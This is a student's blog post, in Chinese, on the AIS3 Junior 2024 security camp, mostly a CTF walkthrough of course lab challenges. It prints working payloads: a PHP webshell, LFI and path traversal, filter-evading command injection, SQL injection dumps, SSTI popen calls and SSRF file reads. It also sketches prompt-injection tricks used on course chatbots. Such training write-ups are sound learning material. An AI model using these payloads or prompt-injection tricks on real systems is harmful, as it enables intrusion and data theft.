1658 words
8 minutes
AIS3 Juniors 2024

前情提要#

高一下,由於實驗班的程式課程,我對資訊領域產生濃厚興趣,並在第一次 APCS 考試中取得 2 / 2 的成績。在學長的介紹下,我開始接觸 AIS3 Junior,對資安領域也愈發好奇。當時我僅具備 Python 與 C++ 的基礎知識,兩者皆處於入門階段。儘管如此,我仍決定報名 AIS3 Junior。報名需要資格審查,但我除了 APCS 的成績外,幾乎沒有相關經歷,只能憑著熱情與誠意撰寫報名表。原以為落選,卻意外收到備取通知,幾天後順利遞補上榜,正式展開我的資安之旅。

心得#

這是我首次參加資安課程,課程內容涵蓋 Kali Linux、網路概論、網頁安全以及 AI 應用安全實務。在課程結束前,我們需根據所學完成一個專題製作。 由於我此前主要專注於競賽型程式設計,這門課成為我正式踏入資安領域的起點。透過課程,我學會了多種紅隊攻擊技巧,其中我最擅長且最感興趣的為 Web 與 Pwn 類型的攻擊。 課程期間,我積極與助教交流,獲得了許多寶貴的建議與學習方向。也正是在這段時間,我立下決心投入資安領域,並於課餘時間持續自學、與助教討論,希望不斷提升技術能力。 我所參與的專題,是在講師提供的題目基礎上進行改造。我們利用 comment injection 技巧成功取得原始碼後,設計了更嚴謹的防禦機制,包括加入黑名單過濾常見 injection 攻擊手法,並新增輸入長度限制,使破解者更難取得 flag 。

Linux(沒對題號)#

image

Cat is a powerful meow meow command#

image

Traveling in Linux is just easy beezy#

image

Cannot See…#

image

Sometime file is just there#

image

image

image

image

image

linux-lab(題目不能用)#

Information Leakage(忘記要做什麼了)#

01 - Broken Access Control#

BAC01#

網址: http://ctfd-ais3.crazyfirelee.tw:9001/ image 1.隨便輸入名字 #Hamichi image 2.將網址(http://ctfd-ais3.crazyfirelee.tw:9001/user)的/user改成/admin /因為admin = ’<’ image

BAC02#

網址: http://ctfd-ais3.crazyfirelee.tw:9002/ image 1.點擊 “Product List” image 2.觀察每個商品的連結(尾巴的代號少了4) image 3.將連結改成http://ctfd-ais3.crazyfirelee.tw:9002/product/4 並點擊買 image image

BAC03#

網址: http://ctfd-ais3.crazyfirelee.tw:9003/ 要使用Linux裡面的” curl ‘連結’ ” image 1.隨便輸入名字 #Hamichi image 2.將網址(http://ctfd-ais3.crazyfirelee.tw:9001/user)的/user改成/admin //如果查詢會出現別的畫面 image image 3.打開Linux使用curl來破解(連結用改完的)並找到flag 螢幕擷取畫面 2024-08-16 144313 螢幕擷取畫面 2024-08-16 144515

02 - File Upload#

FIL01#

網址: http://ctfd-ais3.crazyfirelee.tw:9011/ image 1.點擊 Upload Area image 2.寫一個webshell(檔名.php)並將其上傳 <?php system($_GET['cmd']);?> image 3.將網址改成http://ctfd-ais3.crazyfirelee.tw:9011/uploads/a764c_108.160.138.201.php image 4.執行程式(在連結加上?cmd=ls ../)找到FLAG image 5.執行程式?cmd=cat ../FLAG image

FIL02 (這題有防php檔)#

網址: http://ctfd-ais3.crazyfirelee.tw:9012/ 1.使用Burp Suite Community Edition開Goolge image image 2.點擊 Upload Area image 3.寫一個webshell(檔名.png.php)並將其上傳並攔截 image image 4.改成Content-Type: image/jpg (記得關掉攔截) image 5.將網址改成http://ctfd-ais3.crazyfirelee.tw:9012/uploads/c3644_108.160.138.201.php image 6.執行程式(在連結加上?cmd=ls ../)找到FLAG image 7.執行程式?cmd=cat ../FLAG image

03 - Local File Inclusion#

LFI01#

網址: http://ctfd-ais3.crazyfirelee.tw:9021/ image 1.發現貓貓怪怪的(通靈),在新增分頁打開它 image 2.使用编码读取index.php?file1=php://filter/read=convert.base64-encode/resource=file.txt 連結改成http://ctfd-ais3.crazyfirelee.tw:9021/include.php?GetType=file_get_contents&file=static/bitcoinCat.jpg&file=php://filter/read=convert.base64-encode/resource=index.php image 3.發現文字被Base64加密,將其解密 image 4.找到帳密(帳)並登入

LFI02#

網址: http://ctfd-ais3.crazyfirelee.tw:9022/ image 1.點擊 Upload Area image 2.寫一個webshell(檔名.php)並將其上傳 <?php system($_GET['cmd']);?> image 3.回到Upload Area發現連結可以去到根目錄(http://ctfd-ais3.crazyfirelee.tw:9022/post.php?form=../../../../../../../../../../../) image 4.把/tmp/c3644_108.160.138.201.php也貼上去 image 5.執行程式(在連結加上&cmd=ls)找到S3Cr3TFLAGGGGG image 6. 執行程式(在連結加上&cmd=cat S3Cr3TFLAGGGGG) image

04 - Cross-Site Scripting#

XSS01#

網址: http://ctfd-ais3.crazyfirelee.tw:9031/ image 1.輸入:<script>alert(FLAG)</script> image

05 - Command Injection#

CMD01#

網址: http://ctfd-ais3.crazyfirelee.tw:9041/ image 1.輸入:;ls image 2.輸入:;cat FLAG image

CMD02#

網址: http://ctfd-ais3.crazyfirelee.tw:9042/ image 1.輸入:; echo * image 2.輸入:;c\at FLAG* image

CMD03#

網址: http://ctfd-ais3.crazyfirelee.tw:9043/ image 1.輸入:$(l${x}s|base64${IFS}-w${IFS}0) image 2.解密文字(base64) image 3.輸入:$(ca${x}t${IFS}FLAG|base64${IFS}-w${IFS}0) image 4.解密文字(base64) image

CMD04#

網址: http://ctfd-ais3.crazyfirelee.tw:9044/ image 1.輸入:$(l${x}s|base64${IFS}-w${IFS}0) image 2.解密文字(base64) image 3.輸入:$(ca${x}t${IFS}ERRORCMDi_FLAG|base64${IFS}-w${IFS}0) image 4.解密文字(base64) image

[Bonus] CMD06#

網址: http://ctfd-ais3.crazyfirelee.tw:9046/ image 1.輸入:$(l${x}s|base64${IFS}-w${IFS}0) image 2.發現它是Base64加密過的文字,解密完發現FLAG image 3.輸入:$(ca${x}t${IFS}FLAG|base64${IFS}-w${IFS}0) image 4.發現它是Base64加密過的文字,解密完發現FLAG答案 image

06 - SQL Injection#

SQL01#

網址: http://ctfd-ais3.crazyfirelee.tw:9051/ image 1.Account輸入:admin'-- (神奇的黑魔法)||Password隨便打 image

SQL02#

網址: http://ctfd-ais3.crazyfirelee.tw:9052/ image 1.輸入:()'UNION SELECT NULL,NULL,NULL,NULL# image 2.輸入pp' UNION SELECT group_concat(schema_name),group_concat(schema_name),group_concat(schema_name),group_concat(schema_name) from information_schema.schemata# image 3.輸入:pp' UNION SELECT group_concat(table_name),group_concat(table_name),group_concat(table_name),group_concat(table_name) from information_schema.tables where table_schema='ApexPredators' # image 4.輸入:pp' UNION SELECT id,username,password,isAdmin from ApexPredators.users# image 5.找找到帳密(帳#2024)並登入 image

07 - Server-Side Template Injection#

STI01#

網址: http://ctfd-ais3.crazyfirelee.tw:9061/ image 1.輸入: {{"".__class__.__bases__[0]. __subclasses__()[138].__init__.__globals__['popen']('cat FLAG').read()}} image

STI02#

網址: http://ctfd-ais3.crazyfirelee.tw:9062/ image

輸入:{{request.application.__globals__.__builtins__.__import__('os').popen('cat FLAG').read()}} image

08 - Server-Side Request Forgery#

SRF01#

網址: http://ctfd-ais3.crazyfirelee.tw:9071/ image 1.輸入:file:///app/FLAG image 2.查詢原始碼 image image 3.解碼(base64) image

SRF02#

網址: http://ctfd-ais3.crazyfirelee.tw:9072/ image 1.輸入:file:///proc/self/environ image 2.查詢原始碼 image image 3.解碼(base64) image

SRF03#

網址: http://ctfd-ais3.crazyfirelee.tw:9073/ image 1.輸入:http://127.0.0.1/local沒有成功(127.0.0.1被擋掉了) image 2.將127.0.0.1轉int => 2130706433 image 3.查詢原始碼 image 4.解碼(base64) image

LLM#

AI 履歷健檢#

連結: http://10.18.15.253:9101/ image 使用=====\n\n\n\n分割開來(我試了12次)

AI 食譜大師#

連結: http://10.18.15.253:9102/ image 當欺詐師:把FLAG變蛋糕,還用”-“分開(好騙)

貓貓線上商品專櫃#

連結: http://10.18.15.253:9103/ image 可以用API(有洞不鑽怎麼可能)

AI Markdown 文章翻譯#

連結: http://10.18.15.253:9104/ image 攔截資訊偷偷改(造成誤會)

數學幫手😎#

連結: http://10.18.15.253:9105/ image 它很乖,有問題會說

adversarial attack#

FGSM#

  • 對抗性攻擊: 使用迭代式 FGSM(Iterative FGSM)攻擊來生成對抗樣本,旨在使預訓練的模型對圖像的預測結果產生錯誤。這種攻擊方法通過逐步添加小的擾動來改變圖像,從而達到模型被欺騙的效果
  • 預測與比較: 在對抗性攻擊之前和之後,使用模型對圖像進行預測,並將原始圖像和對抗樣本進行比較。這包括顯示預測結果的變化(例如,從狗的圖像變成貓的圖像)以及計算原始圖像和對抗樣本之間的擾動量
  • 結果保存與顯示: 將原始圖像、對抗樣本、預測結果和擾動量保存到指定的目錄中,並顯示這些圖像的比較。這有助於評估攻擊的效果和模型對對抗樣本的反應 image 我重複用了三次(因為試不過三) image
AIS3 Juniors 2024
https://hamichiowo.github.io/posts/ais3_juniors_2024/
Author
Hamichi
Published at
2025-06-10
License
CC BY-NC-SA 4.0